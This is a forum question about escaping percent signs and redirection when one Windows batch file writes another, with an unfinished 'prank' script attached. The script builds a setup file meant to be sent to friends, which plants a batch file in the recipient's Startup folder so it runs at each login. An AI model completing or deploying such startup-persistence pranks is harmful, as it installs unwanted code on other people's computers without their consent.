how to make a batch file create a batch file that can still contain percentage values : i'm trying to create a batch file that creates a batch file, but as it seems i can't get the first batch file to also send over percentage value's (fx. %example%), so how do i make the first batch file create the second batch file but that file is still able to contain percentage value's? Also if you find any other errors in my script please correct it :)
Also while i'm here, as you can see I've put an "example, please help!" underneath the ":prep" I can't seem to figure out the ">nul" thing, no matter how many "^" i put it won't save to the last sector (which is "gnome.bat") it will however save to the "setup.bat" but not any further, so please also help me with that

The error is under ":Prep"

here's my full script: (not even close to being done with the script...)

    @echo off
    title Annoying Menu
    mode 150
    color a
    
    :begin
    cls
    echo Welcome to "Annoying Menu" 
    echo This menu is made to prank your friends
    echo All pranks that you make on your friends are completely your own responsibility
    echo Please be aware that this menu contains what could be consideret "Virus" 
    echo No harm will however be done to either your, or your freinds pc
    echo Please read through all the instructions before use, of the menu...
    
    echo ---------------------------------------------------------------------------------------
    
    echo 1. Please select a password to cancel the prank, by pressing "3" (only numbers)
    echo 2. Please make sure that the setup files are ready to be transferred, by pressing "1"
    echo 3. Now you are ready to send off the setup file to one of your freinds
    
    echo ---------------------------------------------------------------------------------------
    
    echo type "1" to create setup file
    echo type "2" to prepare setup files for use
    echo type "3" to download it on your own pc
    echo type "4" to select password to cancel the prank (please only use numbers)
    echo type "5" to test password
    echo type "exit" to close the menu
    
    echo ---------------------------------------------------------------------------------------
    
    echo.
    set /p opt= Option:
    if %opt%==1 goto create
    if %opt%==2 goto prep
    if %opt%==3 goto UD
    if %opt%==4 goto pass_select
    if %opt%==5 goto testpass
    if %opt%==exit goto end
    cls
    echo please enter a valid number to continue...
    echo.
    pause
    goto begin
    
    :create
    break>"C:\Users\%Username%\Desktop\setup.bat"
    echo.
    echo setup file created, please prepare the setup file before use, by pressing "2" in the main menu
    echo.
    pause
    goto begin
    
    :prep
    @echo @echo off> setup.bat
    @echo title quick_setup>> setup.bat
    @echo color a>> setup.bat
    @echo mode 150>> setup.bat
    @echo :begin>> setup.bat
    @echo break^>"C:\Users\%Username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\gnome.bat">> setup.bat
    @echo cd C:\Users\%Username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>> setup.bat
    
    (Example, please help!)
    @echo @echo ping localhost -n 2 ^>nul^>^> gnome.bat>> setup.bat)
    @echo @echo set /a time=%clock%-1^>^> gnome.bat>> setup.bat
    @echo @echo if %clock% EQU 0 goto Timesup^>^> gnome.bat>> setup.bat
    @echo @echo :Timesup^>^> gnome.bat>> setup.bat)
    goto begin
    (Not Done!)
    
    :UD
    (Not Done!)
    
    :pass_select
    cls
    echo Please enter a password that will be used to cancel the prank (please only use numbers)
    echo.
    set /p pas= Set Password:	
    set /a pss=%pas%
    cls
    echo the password has now been set to %pss%
    echo to enter a new password simply select "3" again and choose a new password
    echo.
    pause
    goto begin
    
    :testpass
    cls
    echo we are now ready to test your newly set password (if not you've set a password, please do so first)
    echo.
    echo type "1" to start the test
    echo type "2" to set a password/new password
    echo type "exit" to go back to the main menu
    echo.
    set /p lll= Option:	
    if %lll%==1 goto test
    if %lll%==2 goto pass_select
    if %lll%==exit goto begin
    cls
    echo please enter a valid number to continue...
    echo.
    pause
    goto testpass
    
    :test
    cls
    echo please enter password to continue...
    echo type "exit" to go back to main menu
    echo.
    set /p tes= Password:	
    if %tes%==%pss% goto completetest
    if %tes%==exit goto begin
    cls
    echo either you typed the wrong password or it didn't work, please try to set a new password if the same thing happens twice...
    echo.
    pause
    goto test
    
    :completetest
    cls
    echo The test was successful!
    echo you're password works as intended
    echo.
    pause
    goto begin
    
    :end

